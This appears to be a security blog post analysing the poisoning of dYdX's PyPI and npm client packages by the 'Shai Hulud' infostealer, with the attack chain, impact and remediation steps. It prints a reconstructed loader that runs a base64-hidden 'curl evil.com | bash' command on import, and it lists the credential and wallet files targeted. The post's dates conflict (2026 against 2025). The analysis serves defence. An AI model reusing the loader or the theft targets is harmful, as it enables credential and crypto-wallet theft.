Feb 8, 2026·6 min read·13 visits
Attackers compromised dYdX maintainer accounts and published malicious updates to PyPI and npm. The infected packages contained an obfuscated infostealer (Shai Hulud) that activates upon installation, stealing secrets, wallets, and credentials. Immediate remediation involves identifying affected versions, wiping environments, and rotating all credentials.
In early February 2025, the official client libraries for the dYdX decentralized exchange were poisoned with malware. This wasn't a clever buffer overflow or a race condition; it was a brutal supply chain compromise where attackers seized control of developer accounts to publish malicious versions (PyPI `1.1.5post1` and npm `3.4.1` et al.). The payload, part of the 'Shai Hulud' campaign, turned developer workstations into open books, exfiltrating crypto wallets, SSH keys, and GitHub tokens before the victims even finished their morning coffee.
We treat pip install and npm install like a trusted handshake with a friend. We assume that if a package is named dYdX-client, and it comes from the official registry, it’s safe. GHSA-4f84-67cv-qrv3 is a violent reminder that this trust is misplaced.
In February 2025, the official Python and JavaScript libraries for the dYdX protocol—a massive platform for decentralized crypto trading—stopped being tools for finance and started being tools for theft. For a brief window, if you typed pip install dydx-v4-client, you weren't just installing an API wrapper. You were inviting a vampire into your house.
The attackers didn't exploit a bug in the code. They became the coders. By compromising the publishing credentials of a maintainer, they pushed a "post-release" version (1.1.5post1). This naming convention is particularly insidious because pip and other package managers often interpret post-releases as the "latest and greatest," automatically upgrading users who didn't strictly pin their dependencies. It was a silent, automated invasion.
In traditional vulnerability research, we look for logic errors, memory corruption, or sanitization failures. Here, the "flaw" was the human element. The security boundaries of the dYdX package were defined solely by a set of credentials—likely an npm or PyPI auth token—that fell into the wrong hands.
This incident is part of the "Shai Hulud" campaign, a sophisticated threat actor group obsessed with the software supply chain. Unlike script kiddies who might deface a README.md, Shai Hulud plays the long game. They target high-value libraries used in the cryptocurrency space knowing that the developers using these libraries likely have keys to kingdoms worth millions on their hard drives.
The technical flaw here is the execution model of modern package managers. Both Python's setup.py (or __init__.py execution) and npm's postinstall scripts allow arbitrary code execution during installation. The moment you hit Enter, the attacker's code runs with your user's privileges. No sandboxing. No prompts. Just instant execution.
The malicious payload wasn't subtle about its intentions, but it was very subtle about its appearance. The attackers utilized a multi-stage loader to hide the grim reality of what was happening. In a clean version of the library, the __init__.py imports functional classes. In version 1.1.5post1, it imported a nightmare.
The initial stage acts as a dropper. It detects the operating system and environment, then pulls down the second stage—the actual RAT (Remote Access Trojan). The code often looks like a garbled mess of base64 strings or innocent-looking binary blobs hidden in resource files.
Here is a reconstruction of the behavior observed in the Shai Hulud loader:
# pseudo-code representation of the obfuscation technique
import base64, sys, os
# Looks like a harmless asset or license string
_DATA = "aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwgLXMgaHR0cDovL2V2aWwuY29tL3Byb2JlIHwgYmFzaCcp..."
# The trigger mechanism, often buried in setup.py or __init__.py
def _initialize_telemetry():
try:
# Decodes and executes the payload in memory
exec(base64.b64decode(_DATA))
except:
pass
_initialize_telemetry()The actual payload focuses on Data Exfiltration. It hunts for:
.env files containing AWS_ACCESS_KEY_ID or DB_PASSWORD.~/.config, ~/.local, and typical wallet directories for wallet.dat or private key files.~/.ssh/id_rsa and ~/.git-credentials.The malware effectively creates a zip archive of your digital identity and POSTs it to a Command & Control (C2) server controlled by the attackers.
Let's walk through the attack chain. It's terrifyingly simple because it relies on standard workflow behaviors.
1. The Setup: A developer working on a crypto trading bot decides to update their dependencies or sets up a new environment. Their requirements.txt might read dydx-v4-client>=1.0.0.
2. The Infection: The developer runs pip install -r requirements.txt. Pip queries PyPI, sees that 1.1.5post1 is newer than 1.1.5, and pulls the poisoned wheel.
3. The Execution: As the package installs, the malicious setup.py or the __init__.py script executes. This happens in the background. The terminal output looks normal: Successfully installed dydx-v4-client-1.1.5post1.
4. The Theft: The malware immediately scrapes the filesystem. It grabs the developer's GitHub Personal Access Token (PAT) stored in their environment variables. It finds a localized Ethereum keystore file.
5. The Exfiltration: The data is bundled and sent to an IP address hosted on a bulletproof hosting provider. The malware then establishes persistence, perhaps by modifying the user's .bashrc or adding a cron job, to maintain access as a RAT.
6. The Consequence: Minutes later, the developer's GitHub account is creating malicious repos, and their trading bot's hot wallet is drained. The supply chain attack has successfully reproduced itself.
The impact of this breach goes far beyond the dYdX protocol itself. This is a "force multiplier" attack. By compromising developers, the attackers aren't just stealing money; they are stealing identities.
Financial Impact: Direct theft of funds. Since dYdX is a DeFi protocol, the users of this library are almost certainly holding private keys on their machines. The losses can be instantaneous and irreversible.
Lateral Movement: The stolen GitHub tokens allow the attackers to push code to other repositories the victim has access to. If a developer at a major tech firm downloaded this package for a side project, the attackers could leverage their credentials to backdoor unrelated corporate software. This is how Shai Hulud persists—jumping from developer to developer like a digital contagion.
Reputational Damage: For dYdX, this is a nightmare scenario. Even though their core protocol smart contracts might be secure, the perception that their "official" tooling is poisonous undermines user trust fundamentally.
If you suspect you've installed these versions, do not just pip uninstall. You have been compromised at the root level.
1. Identify: Run pip show dydx-v4-client. If you see 1.1.5post1, you are infected. On npm, check for @dydxprotocol/v4-client-js versions 3.4.1, 1.22.1, or 1.15.2.
2. Isolate: Disconnect the machine from the network immediately. Do not try to "clean" it. The persistence mechanisms can be subtle.
3. Rotate Everything: Assume every secret on that machine is public knowledge.
4. Prevention: Pin your dependencies to the exact hash, not just the version number. Use tools like poetry or npm ci with lockfiles that enforce integrity checks. Implement tools like Socket or Snyk that analyze package behavior, not just CVEs, to catch these "zero-day" supply chain attacks before they execute.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
dydx-v4-client (PyPI) dYdX | 1.1.5post1 | 1.1.5 |
@dydxprotocol/v4-client-js (npm) dYdX | 3.4.1, 1.22.1, 1.15.2, 1.0.31 | N/A (Downgrade required) |
| Attribute | Detail |
|---|---|
| Attack Vector | Supply Chain / Malicious Package |
| CVSS | 10.0 (Critical) |
| Impact | RCE, Data Exfiltration, Credential Theft |
| Payload Type | Infostealer / RAT (Shai Hulud) |
| Affected Ecosystems | PyPI, npm |
| Technique | Typosquatting / Account Takeover |